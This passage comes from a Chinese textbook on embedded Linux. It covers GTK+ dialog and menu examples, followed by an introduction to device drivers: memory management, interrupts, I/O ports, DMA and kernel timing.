void destroy(GtkWidget*widget,gpointer*data);

int main(int argc,char**argv)

{

GtkWidget*window;

GtkWidget*button;

gtk_init(＆argc,＆argv);

window=gtk_window_new(GTK_WINDOW_TOPLEVEL);

gtk_signal_connect(GTK_OBJECT(window),"destroy",GTK_SIGNAL_FUNC(gtk_main_quit),NULL);

button=gtk_button_new_with_label("Exit");

gtk_container_add(GTK_CONTAINER(window),button);

gtk_signal_connect(GTK_OBJECT(button),"clicked",G_CALLBACK(button_event),NULL);

gtk_widget_show(button);

gtk_widget_show(window);

gtk_main();

return 0;

}

void button_event(GtkWidget*widget,gpointer*data)

{

GtkWidget*button;

GtkWidget*dialog;

dialog=gtk_dialog_new();

button=gtk_button_new_with_label("Yes");

gtk_box_pack_start(GTK_BOX(GTK_DIALOG(dialog)-

＞action_area),button,TRUE,TRUE,0);

gtk_signal_connect(GTK_OBJECT(button),"clicked",G_CALLBACK(gtk_main_quit),NULL);

gtk_widget_show(button);

button=gtk_button_new_with_label("No");

gtk_box_pack_start(GTK_BOX(GTK_DIALOG(dialog)-＞action_area),button,TRUE,TRUE,0);

gtk_signal_connect(GTK_OBJECT(button),"clicked",G_CALLBACK(destroy),dialog);

gtk_widget_show(button);

gtk_widget_show(dialog);

}

void destroy(GtkWidget*widget,gpointer*data)

{

gtk_widget_destroy(GTK_WIDGET(data));

}



[3]使用GCC编译并运行程序，结果如图13-5所示。
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图　13-5　创建的对话框运行结果



[root@localhost～]#gcc example13_3.c-o example13_3'pkg-config--cflags--libs gtk+-2.0'

[root@localhost～]#./example13_3



当用户单击【Exit】按钮会得到如图13-6所示的对话框。
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图　13-6　单击【Exit】得到的结果

单击【Yes】退出；单击【No】回到Exit对话框。

6.菜单

菜单由菜单条（GtkMenuBar）和下拉菜单（GtkMenu）组成。在建立菜单条以前必须先建立应用程序的纵向组合框。创建菜单的步骤如下。

[1]使用gtk_menu_new()或gtk_menu_new_with_label()创建一个新菜单。函数原型为：



GtkWidget*gtk_menu_new();

GtkWidget*gtk_menu_new_with_label(gchar*label);



[2]使用gtk_menu_item_new()或gtk_item_new_with_label()生成一个新的菜单项，然后使用gtk_menu_append()将菜单项加入到菜单中。函数原型为：



GtkWidget*gtk_menu_item_new();

GtkWidget*gtk_menu_item_new_with_label(gchar*label);

void gtk_menu_append(GtkMenu*menu,GtkWidget*child);



[3]使用gtk_menu_set_submenu()将各个菜单加入到主菜单中。函数原型为：



void gtk_menu_set_submenu(GtkMenuItem*item GtkMenu*menu);



[4]使用gtk_menu_bar_new()创建菜单条，然后使用gtk_menu_bar_append()把主菜单加入到菜单条上。



GtkWidget*gtk_menu_bar_new(void);

void gtk_menu_bar_append(GtkMenuBar*bar,GtkWidget*child);



【例13-4】创建菜单

用GTK+编写程序来创建一个菜单，包括File、Edit、View、Insert共4组菜单。

[1]在Vi中创建一个新工程文件，命名为"example13_4.c"。

[2]在"example13_4.c"中创建如下代码。



example13_4.c

#include＜gtk/gtk.h＞

GtkWidget*CreateMenuItem(GtkWidget*menubar,char*test);

int main(int argc,char**argv)

{

GtkWidget*window;/*定义窗体*/

GtkWidget*menu;

GtkWidget*menubar;/*定义菜单条*/

GtkWidget*rootmenu;

GtkWidget*menuitem;

gtk_init(＆argc,＆argv);

window=gtk_window_new(GTK_WINDOW_TOPLEVEL);

gtk_widget_set_usize(window,250,80);/*设置窗体大小*/

gtk_signal_connect(GTK_OBJECT(window),"destroy",GTK_SIGNAL_FUNC(gtk_main_quit),NULL);

/*创建一个新菜单，然后创建3个菜单项，并把这3个菜单项加入到菜单中*/

menu=gtk_menu_new();

menuitem=gtk_menu_item_new_with_label("New");

gtk_menu_append(GTK_MENU(menu),menuitem);

gtk_widget_show(menuitem);

menuitem=gtk_menu_item_new_with_label("Open");

gtk_menu_append(GTK_MENU(menu),menuitem);

gtk_widget_show(menuitem);

menuitem=gtk_menu_item_new_with_label("Close");

gtk_menu_append(GTK_MENU(menu),menuitem);

gtk_widget_show(menuitem);

/*创建一个主菜单*/

rootmenu=gtk_menu_item_new_with_label("File");

gtk_widget_show(rootmenu);

/*将菜单加入到主菜单中*/

gtk_menu_item_set_submenu(GTK_MENU_ITEM(rootmenu),menu);

/*创建菜单条*/

menubar=gtk_menu_bar_new();

/*将主菜单条加入到菜单中*/

gtk_menu_bar_append(GTK_MENU_BAR(menubar),rootmenu);

/*创建第2组菜单*/

rootmenu=gtk_menu_item_new_with_label("Edit");

gtk_widget_show(rootmenu);

gtk_menu_item_set_submenu(GTK_MENU_ITEM(rootmenu),menu);

gtk_menu_bar_append(GTK_MENU_BAR(menubar),rootmenu);

/*创建第3组菜单*/

rootmenu=gtk_menu_item_new_with_label("View");

gtk_widget_show(rootmenu);

gtk_menu_item_set_submenu(GTK_MENU_ITEM(rootmenu),menu);

gtk_menu_bar_append(GTK_MENU_BAR(menubar),rootmenu);

/*创建第4组菜单*/

rootmenu=gtk_menu_item_new_with_label("Insert");

gtk_widget_show(rootmenu);

gtk_menu_item_set_submenu(GTK_MENU_ITEM(rootmenu),menu);

gtk_menu_bar_append(GTK_MENU_BAR(menubar),rootmenu);

/*将菜单条加入到窗口中，并显示菜单条和窗口*/

gtk_container_add(GTK_CONTAINER(window),menubar);

gtk_widget_show(menubar);

gtk_widget_show(window);

gtk_main();

return 0;

}



[3]使用GCC编译并运行程序，结果如图13-7所示。



[root@localhost～]#gcc example13_4.c-o example13_4'pkg-config--cflags--libs gtk+-2.0'

[root@localhost～]#./example13_4



[image: ]



13.4　实践拓展

1.Linux桌面环境

Linux桌面环境指的是X桌面的客户端。最常用的X客户端是KDE和GNOME。KDE（K Desktop Environment）是一种UNIX和Linux等操作系统上的自由图形工作环境。KDE是一个综合的桌面环境，建立在XFree86和Qt的基础上，提供了窗口管理器和许多实用工具。这些工具包括浏览器、文字处理软件、电子表格程序等，借助这些工具，可以方便地使用Linux桌面环境。GNOME是不同于KDE的一种Linux桌面环境，提供了一个强大的Linux用户桌面，该桌面具有实用性和友好性的特点。GNOME桌面系统使用C语言编程，对C语言支持良好，对C++、Java、C#等语言也支持良好。许多Linux软件项目都是在GNOME的环境下开发的。

2.控件上的汉字显示错误

控件上的汉字无法显示，并伴有如下错误警告：



"**(:1864):WARNING**:Invalid UTF8 string passed to pango_layout_set_text()"



原因是：GTK+中的字符串均采用UTF-8格式编码，这个提示说明程序中的字符串编码格式不是UTF-8，通常这是由编辑器造成的，除了将文件以UTF-8编码格式存档外，还能使用glib的转换函数在程序的运行过程中将字符串转换为UTF-8格式。例如，将



button=gtk_button_new_with_label("确定");



改成



button=gtk_button_new_with_label(g_locale_to_utf8("确定",4,NULL,NULL,NULL));



3.信号与事件的区别

事件（event）是从X Server收到的消息流，是一个Gdk/Xlib概念。信号（signal）是GtkObject和它的子集（subclass）的特性，它们和任何的输入流都没有关系。信号是对象（object）发出的。信号和事件有关是因为GTK控件（GtkWidget）通常收到一个事件的时候发出一个信号。信号总是由一个小部件发出，而事件是下层驱动产生的，它自身带有事件产生的位置信息。信号和事件之间有许多相似的函数。信号有一个传递机制，而事件始终在事件队列中。

4.找不到gtk.h包含文件

如果程序编译时出现下面的错误：



gtk/gtk.h:没有那个文件和目录



表示系统中没有安装GTK库，需要进行安装。


13.5　思考与练习

一、概念题

1.常用的嵌入式图形用户界面有哪些？

2.Qt与Qt/Embedded最大的不同是什么？

3.众多嵌入式图形开发库中，为什么大多数人选择Qt/Embedded？

4.GTK+与Qt有哪些区别？

二、操作题

1.利用GTK+编写一个图形界面程序，至少用到窗口、按钮和一种布局。

2.使用GTK+库编写一个简单的图形界面程序，运行后打开一个窗口。


第14章　嵌入式Linux设备驱动开发

本章要点：

Linux设备驱动程序概述

Linux设备驱动程序开发基础

字符设备驱动

块设备驱动

网络设备驱动


 14.1　Linux设备驱动程序概述

驱动程序工作在内核空间，而应用程序一般工作于用户状态下。设备驱动程序为应用程序屏蔽了硬件的细节，这样在应用程序看来，硬件设备只是一个设备文件，应用程序可以像操作普通文件一样对硬件设备进行操作。设备驱动程序是内核的一部分，作为应用程序和访问硬件之间的媒介，驱动程序要给Linux内核调用或者由操作系统调用，它完成以下功能：

·对设备初始化和释放。

·把数据从内核传送到硬件和从硬件读取数据。

·读取应用程序传送给设备文件的数据和回送应用程序请求的数据。

·检测和处理设备出现的错误。

驱动程序必须按照某个框架编写，以供上层模块使用。编写驱动程序必须掌握操作系统的工作原理，并对硬件设备的运行机制有清楚的认识。Linux设备驱动开发调试有两种方法：一种是直接编译到内核，随同Linux启动时加载，启动内核时就会驱动此硬件设备，这种方法称为静态链接。另一种是编译为可加载模块（loadable kernel module）的形式，编译生成一个.O文件，当应用程序需要时再动态加载进内核空间运行，这种方法称为动态链接，可以使用insmod工具将编译的模块直接插入内核，如果出现故障，可以使用rmmod从内核卸载模块，而不需要重新启动内核。

Linux设备驱动程序一般由3个部分组成。

（1）自动配置和初始化子程序

本部分负责检测所要驱动的硬件设备是否存在和能否正常工作。如果设备正常，则对这个设备及其相关的设备驱动程序需要的软件状态进行初始化。这部分驱动程序仅在初始化时被调用一次。

（2）服务于I/O请求的子程序

本部分又称为驱动程序的上半部，调用这部分程序是系统调用的结果。这部分程序在执行时与进行调试的进程仍然属于同一个进程，只是将用户态切换成内核态。它具有进行此系统调用的用户程序的运行环境，在这部分可以调用sleep()等与进程运行环境有关的函数。

（3）中断服务程序

本部分又称为驱动程序的下半部。在Linux系统中并不是直接从终端向量表调用设备驱动程序的中断服务子程序，而是由Linux系统来接收硬件中断，再由系统调用中断服务子程序。中断可以在任何一个程序运行中产生，在终端服务程序被调用时，不能依赖于任何进程的状态，不能调用任何与进程运行环境有关的函数。

Linux系统为每个设备分配了一个主设备号和次设备号，主设备号唯一标识了设备类型，次设备号用于标识使用同一个设备驱动程序的不同硬件设备。由同一个设备驱动控制的所有设备具有相同的主设备号。系统中每种设备都用一种特殊的设备相关文件来表示。块设备和字符设备的设备相关文件可以通过mknod命令来创建，并使用主从设备号来描述此设备。网络设备也用设备相关文件来表示，但当Linux寻找和初始化网络设备时才建立这种文件。在驱动程序中，可以使用下列宏获得驱动的设备号：



MAJOR(dev_t dev);

MINOR(dev_t dev);



如果想把设备号转换成dev_t类型，可以使用下面的函数：



MKDEV(int major,int minor);



驱动程序和应用程序不同，应用程序一般有一个main()函数，从头到尾执行一个任务，驱动程序没有main()函数，而是通过使用宏module_init将初始化函数加入到内核全局初始化函数列表中，然后在内核初始化时执行驱动的初始化函数，完成驱动的初始化和注册，之后驱动程序便停止，一直等待被应用软件调用。


14.2　Linux设备驱动程序与内核的关系

操作系统中分为单体内核（monolithic kernel）和微内核（micro kernel）两种，单体内核是一个相对较大的程序，而微内核是一个较小的程序，操作系统的大部分功能运行在用户空间。Linux是一个单体内核，分成5个子系统，整个内核在一个地址空间。这样增加一个设备就比较麻烦，由于设备需要在内核空间运行，因此需要重新编译内核。Linux通过使用内核可以根据需要将各部分放入内核。模块可以不编译到内核中，在系统中增加一个模块的时候，不需要重新编译整个内核，只需要编译模块，再将其插入到内核中。

通过编写设备驱动程序，可以给操作系统的内核提供唯一的接口用以访问设备，这样以来内核就可以不必知道硬件设备内部的复杂结构，而只需调用驱动程序提供的简单接口就可以访问设备。

为了便于驱动程序的开发和应用，POSIX标准规定了一整套标准的设备接口，把设备驱动程序与操作系统的I/O子系统隔离开来。操作系统（内核）如果需要访问设备，它调用I/O子系统提供的标准接口去访问设备驱动程序，而I/O子系统在完成这个任务时，无论是什么设备，都使用同一种调用方式进行操作。

Linux设备驱动属于内核的一部分，内核可以通过几种不同的方式来调用设备驱动程序。

·配置内核在引导时调用驱动程序，检查并初始化设备。

·I/O子系统调用驱动程序读或写数据。

·用户可以发出控制请求，比如打开或关闭设备。

·设备在I/O结束，或其他状态改变时产生中断。

Linux的设备驱动程序与外界的接口可以分为3个部分：驱动程序与操作系统内核的接口；驱动程序与系统引导的接口，这部分利用驱动程序对设备进行初始化；驱动程序与设备的接口，这部分描述了驱动程序如何与设备进行交互，与具体的设备密切相关。

内核模块是可以在系统运行时动态地安装和拆卸的内核功能单元。利用该机制可以根据需要在不必对内核重新编译链接的条件下，将内核模块动态插入运行中的内核，成为内核的一个有机组成部分，也可以从内核卸载已安装的模块。

在驱动程序的使用上，应用程序通过操作系统的接口访问驱动程序。一般来说，应用程序运行在用户空间，操作系统运行在内核空间。但当应用程序访问驱动程序时，应用程序调用相应的接口，由此实现用户空间和内核空间的交互。


14.3　Linux设备驱动程序开发基础

作为Linux设备驱动程序开发的基础，本节介绍相关的内存管理问题、中断处理、I/O端口、DMA处理、时间流等内容。


 14.3.1　内存管理问题

内存是Linux内核所管理的最重要的资源之一，内存管理系统是操作系统中最为重要的部分。

1.物理内存管理

（1）空闲物理内存单元的管理

Linux对物理内存空间按照分页方式进行管理，把物理内存划分成大小相同的物理页面。Linux物理内存管理使用Buddy算法实现，其物理页面信息由mem_map_t结构描述，系统中所有的物理页面由一个mem_map_t类型的数组mem_map[]来表示，mem_map[]在系统初始化时由free_area_init()函数创建，它存放在物理内存的底部（低地址部分），该数组的每一项都代表物理内存的一个页面，该数组的大小由实际的物理内存大小决定。

mem_map_t结构定义如下（定义在/include/linux/mm.h中）。



typedef struct page{

struct page*next;

struct page*prev;

struct inode*inode;

unsigned long offset;

struct page*next_hash;

atomic_t count;

unsigned flags;

unsigned dirty:16,age:8;

struct wait_queue*wait;

struct buffer_head*buffers;

unsigned long swap_unlock_entry;

unsigned long map_nr;

}mem_map_t;



其中：

·count：是共享该页面的进程计数。

·age：标志页面的“年龄”。

·dirty：表示该页面是否被修改过。

·prev和next：指向mem_map_t结构的指针。

·prev_hash和next_hash：把有关page结构体连成一个哈希表。

·inode和offset：有关文件的inode和它们在文件中的偏移量。

·wait：是等待该页资源的进程等待队列的指针。

·flags：表示页面当前状态。

为了记录系统中的当前空闲物理内存单元，Linux内核定义了free_area[]数组。该数组的每一项都是一个free_area_struct结构，描述了一组由相同大小的空闲物理页块构成的双向链表。在free_area[0]上是大小为1页的空闲页块链，free_area[1]上是大小为2页的空闲页块链，free_area[2]上是大小为4页的空闲页块链，以此类推，以2的整数次幂递增。free_area_struct结构定义如下。



struct free_area_struct

{

struct page*next;

struct page*prev;

unsigned int*map;

unsigned long count;

};



其中，指针next、prev用于将空闲物理页块结构mem_map_t链接成一个双向链表，而map则是一个位图，用于记录页块及其伙伴是否在本队列中。

Linux使用全局变量nr_free_pages来跟踪系统中的空闲物理内存页面总数，使用该变量Linux可以知道系统物理内存的使用状况，当空闲的物理内存页面数量低于某个指标时，Linux将唤醒内核交换守护进程kswapd，让其尽可能回收一些物理内存，将系统中的空闲物理页面数维持在一个特定的数量上。

（2）物理页的分配

因为不能像逻辑地址一样进行映射，所有物理内存的分配和释放必须针对连续的物理内存。Buddy算法将内存划分成2i
 页大小的连续的页块，每一组有相同的i值，并且将同一组的空闲页块链接成一个双向链表，然后将所有链表的头节点组成一个数组，即上述free_area[]数组。

在分配空间时，首先要在页块大小相应的空闲页块链中找到一块空间来返回给调用者，如果在这个链里没有找到合适的空间分配，则到free_area[]数组中的下一个元素的空闲链中去查找，直至找到能够分配的空间。然后，将得到的空闲块进行分割，直至得到的块大小与申请的块大小相匹配，再将那些分割出来的空闲块插入到相应的空闲链中。这一过程是由函数_get_free_pages()来实现的。

（3）物理页的释放

内存管理系统在分配空间时将大页块划分成小页块，使得系统中的页块越变越小，这对于分配大块内存是不利的。为避免产生大量内存碎片，内存管理系统在物理页释放时应尽可能将小页块合并成大页块。首先，内存管理系统会检查当前释放的内存块的伙伴是否在空闲链表中。如果在，就将二者合并为一个两倍大小的空闲块。然后继续查找两倍大小块的伙伴，重复上述过程直至不能合并为止。

2.虚拟内存管理

所谓的虚拟内存是指使用磁盘当作RAM的扩展，这样可用的内存的大小就相应地增大了。内核会将暂时不用的内存块的内容写到硬盘上，这样一来，这块内存就可用于其他目的。当需要用到原始的内容时，它们被重新读入内存。

（1）页表的管理

一个页表入口标识一个物理页，包含了物理页的大量信息。页表入口给出了物理页的页框号（PEN），据此可找到该物理页的实际起始物理地址。

为了能够正确读取代码和操作数据，CPU必须将虚拟地址转化为物理地址。为了提高操作系统的可移植性，Linux使用三级页表来存储映射关系。一级页表只占用一个页，其中存放了二级页表的入口指针，记为PGD；二级页表中存放了三级页表的入口指针，记为PMD；在三级页表中每个项都是一个页表入口（PTE）。根据不同处理器平台，所有的三级页表并不一定都被使用。

（2）虚拟存储空间的管理

在Linux系统中，主要使用了3个层次的数据结构vm_area_struct、mm_struct和page来表示进程的虚拟地址空间。

最底层的page结构描述了一个物理页帧及其页面信息的相关属性和链接指针，包括标志位、引用计数等。vm_area_struct结构是中间层次，它描述了一个虚拟内存区域（一段连续的虚拟地址空间）的属性。其中包括虚拟内存区域的开始地址、结束地址、访问权限、页目录、映射文件和链接指针。在进程的虚拟地址空间查找一个特定的vm_area_struct结构是使用频率较高的操作。mm_struct结构是描述进程虚拟地址空间的最高层的数据结构，一个mm_struct就代表一个独立进程的虚拟内存空间。该结构中记录了实现任务管理的进程模型所需要的与内存管理相关的全部信息。

有了上述几个结构，Linux系统可以方便地实现虚拟内存管理。一个进程的虚拟地址空间在进程创建时即已创建，在进程销毁时释放。在进程的生命周期中，虚拟地址空间会不断变化。

（3）缺页处理

可执行程序的内容并没有全部装入到物理内存中。当程序访问那些尚未装入物理内存的虚拟内存区域时，程序运行将产生异常。另外，在程序运行中，当程序访问已被换出的页面时，也会引起缺页异常。

Linux使用page_fault中断处理程序处理页面异常。具体处理工作实际上调用了do_page_fault()函数来完成。该函数首先定位发生异常的虚拟地址，然后在发生异常的进程的所有虚拟内存区域vm_area_struct结构中查找包含该地址的区域。若找不到对应的vm_area_struct，或是权限设置禁止该访问，则向该进程发送SIGSEGV信号；如果找到了满足条件的结构，再查找其页表项，根据页表项的内容决定其处理方法。

当异常处理完返回后，需要的页面已装入内存，这时异常处理程序将返回，原来的进程就可以继续执行下去。


14.3.2　中断处理

中断是微处理器处理随机事件的一种机制。所谓中断，就是当CPU正常运行程序时，由于随机的事件（包括内部事件和外部请求）引起CPU暂停正在运行的程序，转去执行某个特定的程序，并在执行后返回原来被暂停的程序处继续向下执行的过程。引入中断主要是为了解决CPU与外部设备之间在速度方面不匹配的问题。Linux处理中断的方式类似在用户空间处理信号的方式。大多数情况下，一个驱动只需要为它的设备的中断注册一个处理例程，并当中断到来时进行正确的处理。本质上来讲，中断处理例程和其他的代码并行运行。因此，它们不可避免地引起并发问题，并竞争数据结构和硬件。

1.硬件中断

在Linux下，硬件中断叫做IRQ（Interrupt Request）。有短类型和长类型两种IRQ：短类型需要很短的时间，在此期间机器的其他部分被锁定，而且没有其他中断被处理；长类型需要很长的时间，在此期间可能发生其他中断。

Linux的中断处理程序分为上半部（top half）和下半部（bottom half）。上半部的功能是响应中断，当一个中断发生时，它进行相应的硬件读写后就把中断例程的下半部挂到该设备的下半部执行队列中去。因此，上半部执行的速度就会很快，可以服务更多的中断请求。但是，仅有响应中断是远远不够的，因为中断的事件可能很复杂。因此，Linux引入了一个下半部来完成中断事件的绝大多数使命。下半部和上半部最大的不同是下半部是可中断的，而上半部是不可中断的，下半部几乎做了中断处理程序所有的事情，而且可以被新的中断打断。下半部相对来说并不是非常紧急的，通常还是比较耗时的，因此由系统自行安排运行时机，不在中断服务上下文中执行。Linux实现下半部的机制主要有tasklet和工作队列，tasklet基于Linux软中断机制（softirq）。Linux内核中中断请求队列用irq_desc描述。



struct irq_desc{

irq_flow_handler_t handle_irq;

struct irq_chip *chip;

struct msi_desc *msi_desc;

void *handler_data;

void *chip_data;

struct irqaction*action;/*IRQ服务列表*/

unsigned int status;/*IRQ状态*/

unsigned int depth;/*中断嵌套禁止*/

unsigned int wake_depth;/*嵌套唤醒允许*/

unsigned int irq_count;/*用来检测发生的中断数*/

unsigned int irqs_unhandled;

unsigned long last_unhandled;

spinlock_t lock;

#ifdef CONFIG_SMP

cpumask_t affinity;

unsigned int cpu;

#endif

#if defined(CONFIG_GENERIC_PENDING_IRQ)||

defined(CONFIG_IRQBALANCE)

cpumask_t pending_mask;

#endif

#ifdef CONFIG_PROC_FS

struct proc_dir_entry*dir;

#endif

const char*name;

};



此外，Linux还提供了另外一些控制tasklet调度与运行的API：



DECLARE_TASKLET_DISABLED(name,function,data);/*与DECLARE_TASKLET类似,但等待tasklet被使能*/

tasklet_enable(struct tasklet_struct*);/*使能tasklet*/

tasklet_disble(struct tasklet_struct*);/*禁用tasklet*/

tasklet_init(struct tasklet_struct*,void(*func)(unsigned long),unsigned long);

tasklet_kill(struct tasklet_struct*);/*清除指定tasklet的可调度位,即不允许调度该tasklet*/



申请与释放IRQ的函数有request_irq()和free_irq()，request_irq()的原型为：



int request_irq(unsigned int irq,void(*handler)(int irq,void

*dev_id,struct pt_regs*regs)，unsigned long irqflags,const

char*devname,oid*dev_id);



其中：

·irq是要申请的硬件中断号。

·handler是向系统登记的中断处理函数，是一个回调函数，中断发生时，系统调用这个函数，dev_id参数将被传递。

·irqflags是中断处理的属性，若设置为SA_INTERRUPT，表明中断处理程序是快速处理程序，快速处理程序被调用时屏蔽所有中断，慢速处理程序不屏蔽；若设置为SA_SHIRQ，则多个设备共享中断，dev_id在中断共享时会用到，一般设置为这个设备的device结构本身或者NULL。

free_irq()函数的原型为：



void free_irq(unsigned int irq,void*dev_id);



2.软中断

Linux下的软中断机制在linux/kernel/softirq.c中实现，软中断是利用硬件中断的概念，用软件方式进行模拟，实现异步处理。软中断的行为用softirq_action描述。



struct softirq_action

{

void(*action)(struct softirq_action*);

void*data;

};



其中，函数指针action指向软中断请求的服务函数，而指针data指向由服务函数自行解释的数据。基于上述软中断描述，Linux在kernel/softirq.c文件中定义了一个全局的softirq_vec[32]数组：



static struct softirq_action softirq_vec[32]__cacheline_aligned;



系统一共定义了32个软中断请求描述符。软中断向量i（0≤i≤31）所对应的软中断请求描述符就是softirq_vec[i]。这个数组是个系统全局数组，也即它被所有的CPU所共享。这里需要注意的一点是，每个CPU虽然都有它自己的触发和控制机制，并且只执行它自己所触发的软中断请求，但是各个CPU所执行的软中断服务例程是相同的，也即都是执行softirq_vec[]数组中定义的软中断服务函数。

在软中断向量0～31中，Linux内核仅仅使用了软中断向量0～3，其余留待系统以后扩展用。Linux在头文件include/linux/interrupt.h中对软中断向量0～3进行了预定义。



enum

{

HI_SOFTIRQ=0，/*下半部处理,高优先*/

NET_TX_SOFTIRQ，/*网络发送*/

NET_RX_SOFTIRQ，/*网络接收*/

TASKLET_SOFTIRQ，/*任务队列*/

};



其中，软中断向量0（即HI_SOFTIRQ）用于实现高优先级的软中断，如高优先级的tasklet。软中断向量1和2则分别用于网络数据的发送与接收。软中断向量3（即TASKLET_SOFTIRQ）则用于实现诸如tasklet这样的一般性软中断。

在软中断子系统初始化时启动下半部处理和任务队列：



void_init softirq_init(void)

{

open_softirq(TASKLET_SOFTIRQ,tasklet_action,MULL);

open_softirq(HI_SOFTIRQ,tasklet_hi_action,NULL);

}




14.3.3　I/O端口

I/O（input/output）即输入/输出端口。每个设备都会有一个专用的I/O地址，用来处理自己的输入/输出信息。CPU与外部设备、存储器的链接和数据交换都需要通过接口设备来实现，I/O设备品种众多，其相应的接口电路也各不相同。

CPU在与I/O设备进行数据交换时存在以下问题：

·速度不匹配：I/O设备的工作速度要比CPU慢许多，而且由于种类的不同，它们之间的速度差异也很大。

·时序不匹配：各个I/O设备都有自己的定时控制电路，以自己的速度传输数据，无法与CPU的时序取得统一。

·信息格式不匹配：不同的I/O设备存储和处理信息的格式不同。

·信息类型不匹配：不同I/O设备采用的信号类型不同，因此所采用的处理方式也不同。

基于以上原因，CPU与外设之间的数据交换必须通过接口来完成，通常接口有以下功能：

·设置数据寄存、缓冲逻辑以适应CPU与外设之间的速度差异。

·能够进行信息格式的转换，例如串行和并行的转换。

·能够协调CPU和外设在信息的类型和电平的差异。

·协调时序差异。

·地址译码和设备选择功能。

·设置中断和DMA控制逻辑，以保证在中断和DMA允许的情况下产生中断和DMA请求信号，并在接受到中断和DMA应答之后完成中断处理和DMA传输。

CPU通过接口对外设进行控制的方式有以下几种。

（1）程序查询方式

CPU通过I/O指令询问指定外设当前的状态，如果外设准备就绪，则进行数据的输入或输出，否则CPU等待，循环查询。优点是结构简单，只需要少量的硬件电路即可，缺点是由于CPU的速度远远高于外设，因此通常处于等待状态，工作效率很低。

（2）中断处理方式

这种方式下CPU不再被动等待，而是可以执行其他程序，一旦外设为数据交换准备就绪，可以向CPU提出服务请求，CPU如果响应该请求，便暂时停止当前程序的执行，转去执行与该请求对应的服务程序，完成后，再继续执行原来被中断的程序。

（3）DMA传送方式

DMA最明显的一个特点是它采用一个专门的控制器来控制内存与外设之间的数据交流，无需CPU介入，大大提高CPU的工作效率。在进行DMA数据传送之前，DMA控制器会向CPU申请总线控制权，CPU如果允许，则将控制权交出。在数据交换时，总线控制权由DMA控制器掌握，在传输结束后，DMA控制器将总线控制权交还给CPU。


14.3.4　DMA处理

DMA（直接内存存取）是解决快速数据访问的有效方法。DMA控制器可以在不受处理器干预的情况下在设备和系统内存之间高速传输数据。DMA是一种硬件机制，允许外围组件将I/O数据直接从（或者向）主存中传送。

为了初始化数据传输，设备驱动将设置DMA通道地址和记数寄存器以描述数据传输方向以及读写类型。然后通知设备可以在任何时候启动DMA操作。传输结束时设备将产生中断，CPU可以转去执行其他任务。

Linux中的DMA通道在各种处理器下有不同的定义，下面是它在arch/arm/kernel/dma.c中的定义。



structdma_struct{

struct scatterlist buf;/*单个DMA*/

int sgcount;/*DMA SG的数量*/

struct scatterlist*sg;/*分散搜集列表*/

unsigned int active:1;/*传输激活状态*/

unsigned int invalid:1;/*传输地址或字节数发生变化*/

unsigned int using_sg:1;/*是否使用scatterlist*/

dmamode_t dma_mode;/*DMA模式*/

int speed;/*DMA速度*/

unsigned int lock;/*设备已分配*/

const char*device_id;/*设备名*/

unsigned int dma_base;/*控制器基地址*/

int dma_irq;/*控制器中断号*/

struct scatterlist cur_sg;/*当前控制器缓冲*/

unsigned int state;/*当前状态*/

struct dma_ops*d_ops;/*DMA操作接口*/

};

static dma_tdma_chan[MAX_DMA_CHANNELS];



DMA通道的设置通过下面的函数实现。



int request_dma(dmach_tchannel,const char*device_id);/*获取通道的使用权*/

void free_dma(dmach_tchannel);/*释放通道的使用权*/

void set_dma_count(dmach_t channel,unsigned long count);/*设置传输的字节数*/

void set_dma_addr(dmach_t channel,unsigned long physaddr);/*设置DMA传输的总线地址*/

void set_dma_speed(dmach_t,channel,int cycle_ns);/*设置传输速度*/

void set_dma_sg(dmach_t,channel,struct scatterlist*sg,int nr_sg);/*设置分散搜集列表*/

void enable_dma(dmach_t channel);/*允许某个通道的DMA传输*/

void disable_dma(dmach_t channel);/*禁止某个通道的DMA传输*/



内核提供一组DMA映射函数，用于分配一个DMA缓冲区，并为该缓冲区生成一个能够被设备访问的地址的组合。Linux的DMA映射函数分为连续映射和流式映射两种。连续映射方式保证处理器与DMA器件是一致的，流式映射常用于单一的传输过程。连续DMA内存分配与释放操作函数如下：



void*dma_alloc_coherent(struct device*dev,size_t size,dma_addr_t*dma_handle,int flag);

void*dma_free_coherent(struct device*dev,size_t size,void*cpu_addr,dma_addr_t dma_handle);



流式DMA内存分配与释放操作函数如下：



void*dma_alloc_noncoherent(struct device*dev,size_t size,dma_addr_t*dma_handle,int flag);

void*dma_free_noncoherent(struct device*dev,size_t size,void*cpu_addr,dma_addr_t dma_handle);



数据传送有两种方式触发：由软件请求数据（通过一个函数，如read()）；由硬件将数据异步推向系统。在第一种情况下各步骤概括如下：

[1]当一个进程调用一个read()函数时，驱动程序分配一个DMA缓冲区，并告知硬件传送数据，进程进入睡眠。

[2]硬件向DMA缓冲区写数据，完成时发出一个中断信息。

[3]中断处理程序获得输入数据，应答中断，唤醒进程，可以读取数据。

有时DMA被异步使用，这种传送步骤稍有不同：

[1]硬件发出一个中断信息，表明新的数据到达了。

[2]中断处理程序分配一个缓冲区，告诉硬件将数据传往何处。

[3]外围设备将数据写入缓冲区，写完时再次发出中断信息。

[4]处理程序派发新数据，唤醒所有相关进程，处理一些杂务。

为利用DMA，设备驱动程序必须能分配一个特殊缓冲区以适合DMA。DMA缓冲区的主要问题是当它大于一页时，它必须占据物理内存的连续页。GFP_DMA要求内存空间必须适合DMA传送。内核保证能够进行DMA的缓冲区具有以下两个特点：当get_free_page返回不止一页时，其物理地址必须是连续的；当使用GFP_DMA等设备时，内核保证只有低于MAX_DMA_ADDRESS的地址才被返回。

在PCI情况下，没有MAX_DMA_ADDRESS的限制，PCI设备驱动程序在分配它的缓冲区时应避免设置GFP_DMA。

当进行DMA时，设备驱动程序必须与连在总线接口上的硬件对话，这里使用物理地址，但程序代码使用虚地址。事实上基于硬件的DMA使用总线地址而非物理地址。


14.3.5　时间流

1.延迟执行

长延迟：在内核态下让进程进入睡眠态的正确方法是设置好current-＞timeout后睡眠在一个等待队列上。调度器每次运行时都会比较进程的timeout值和当前的jiffies值，如果timeout值小于等于当前时间，那么不管它的等待队列如何，进程都会被唤醒。只要没有系统时间唤醒进程使它离开等待队列，那么一旦当前时间达到timeout值，调度器就唤醒睡眠进程。

短延迟：有时驱动程序需要非常短的延迟来与硬件同步，此时使用jiffies值不能达到目的，这时就要用内核函数udelay()。它的原型如下：



#include＜linux/delay.h＞

void udelay(unsigned long usees);



2.任务队列

许多驱动程序需要将任务延迟到以后处理，但又不想占用中断。Linux为此提供了两种方法：任务队列和内核定时器。要使用任务队列的一个典型情况是硬件不产生中断，但仍希望提供阻塞读操作，此时需要对设备进行轮询。

